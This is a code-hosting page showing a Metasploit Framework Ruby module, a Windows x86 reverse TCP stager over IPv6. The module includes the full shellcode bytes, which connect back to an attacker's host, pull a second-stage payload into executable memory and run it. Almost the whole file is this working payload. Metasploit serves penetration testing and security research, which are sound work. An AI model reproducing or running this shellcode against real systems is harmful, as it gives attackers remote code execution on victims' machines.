PageRenderTime 54ms CodeModel.GetById 29ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb

https://bitbucket.org/cfield/metasploit-framework
Ruby | 70 lines | 55 code | 9 blank | 6 comment | 1 complexity | 0c166d78b8257b2a872e3e5cb01b1d08 MD5 | raw file
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7. require 'msf/core'
  8. require 'msf/core/handler/reverse_tcp'
  9. module Metasploit3
  10. include Msf::Payload::Stager
  11. include Msf::Payload::Windows
  12. def self.handler_type_alias
  13. "reverse_ipv6_tcp"
  14. end
  15. def initialize(info = {})
  16. super(merge_info(info,
  17. 'Name' => 'Reverse TCP Stager (IPv6)',
  18. 'Description' => 'Connect back to the attacker over IPv6',
  19. 'Author' => ['hdm', 'skape', 'sf'],
  20. 'License' => MSF_LICENSE,
  21. 'Platform' => 'win',
  22. 'Arch' => ARCH_X86,
  23. 'Handler' => Msf::Handler::ReverseTcp,
  24. 'Convention' => 'sockedi',
  25. 'Stager' =>
  26. {
  27. 'RequiresMidstager' => false,
  28. 'Offsets' =>
  29. {
  30. 'LPORT' => [ 207, 'n' ],
  31. 'LHOST' => [ 213, 'ADDR6' ],
  32. 'SCOPEID' => [ 229, 'V' ]
  33. },
  34. 'Payload' =>
  35. "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
  36. "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
  37. "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
  38. "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
  39. "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
  40. "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
  41. "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
  42. "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
  43. "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
  44. "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
  45. "\xFF\xD5\xB8\x04\x02\x00\x00\x29\xC4\x48\x48\x54\x50\x68\x29\x80" +
  46. "\x6B\x00\xFF\xD5\x50\x50\x50\x6A\x06\x40\x50\x6A\x17\x68\xEA\x0F" +
  47. "\xDF\xE0\xFF\xD5\x89\xC7\x6A\x1C\xE8\x1C\x00\x00\x00\x17\x00\x11" +
  48. "\x5C\x00\x00\x00\x00\xB1\xBB\xBB\xBB\xBB\xBB\xBB\xBB\xC1\xCC\xCC" +
  49. "\xCC\xCC\xCC\xCC\xCC\xA1\xAA\xAA\xAA\x57\x68\x99\xA5\x74\x61\xFF" +
  50. "\xD5\x89\xE6\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" +
  51. "\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53" +
  52. "\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF" +
  53. "\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3"
  54. }
  55. ))
  56. register_options(
  57. [
  58. OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
  59. ], self.class)
  60. end
  61. end